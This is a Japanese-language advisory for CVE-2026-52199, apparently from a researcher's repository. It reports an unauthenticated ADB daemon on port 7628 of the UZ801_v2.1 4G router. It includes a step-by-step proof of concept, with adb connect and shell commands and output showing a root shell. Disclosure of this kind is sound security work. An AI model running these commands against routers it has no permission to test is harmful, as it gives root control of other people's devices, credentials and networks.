CVE-2026-52199 : UZ801 4Gルーターにおける未認証のリモートコード実行

脆弱性概要

Generic OEM UZ801_v2.1 4G LTEルーター（ファームウェア V3.4.3）には、重大な不適切なアクセス制御の脆弱性が存在します。このデバイスは、認証されていないAndroid Debug Bridge (ADB) デーモン（/sbin/adbd）をTCPポート7628で隣接ネットワーク（LAN/WiFi）に不適切に公開しています。

デバイスのローカルネットワークに接続した攻撃者は、この欠陥を悪用してすべての認証メカニズムを迂回し、ADB接続を確立して、root権限で任意のコードを実行できます。

影響を受ける製品

• ベンダー: Generic OEM / ホワイトラベルエコシステム
• 製品: UZ801_v2.1 4G LTEルーター
• バージョン: V3.4.3
• 脆弱なコンポーネント: /sbin/adbd

影響

この脆弱性を悪用されると、システムが完全に侵害されます。影響は以下のとおりです。

• リモートコード実行 (RCE): あり
• 権限昇格: あり（直接rootシェルが取得される）
• 情報漏えい: あり（内部ファイルシステムと認証情報への完全なアクセス）
• サービス拒否 (DoS): あり（デバイスの破損または不正操作が可能）

概念実証 (PoC)

この悪用プロセスには、標準のadbクライアントと隣接ネットワークへのアクセス以外の特別なツールは必要ありません。

ステップ1: UZ801ルーターのWiFiネットワークに接続します（デフォルトゲートウェイは通常192.168.100.1です）。

ステップ2: デバイスのオープンポートをスキャンします。ポート7628/TCPが開いていると報告されます。

ステップ3: 攻撃者のマシンから、非公開ポートへのADB接続を開始します。

$ adb connect 192.168.100.1:7628
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.100.1:7628

ステップ4: 対話型シェルを要求します。

$ adb -s 192.168.100.1:7628 shell

ステップ5: 攻撃者は、認証プロンプトなしで即座にrootシェルへ落とされます。

root@msm8916_32_512:/ # id
uid=0(root) gid=0(root) context=u:r:su:s0
root@msm8916_32_512:/ # uname -a
Linux localhost 3.10.49 #1 SMP PREEMPT ... aarch64

免責事項

教育および許可されたセキュリティ研究のみを目的としています。 このリポジトリで提供される情報と概念実証は、教育目的とネットワークの保護にのみ役立つことを意図しています。著者（lamaper）は、この情報の誤用について一切の責任を負いません。自分が所有していない、または明示的なテスト許可を得ていないデバイスやネットワークに対して、このエクスプロイトを使用しないでください。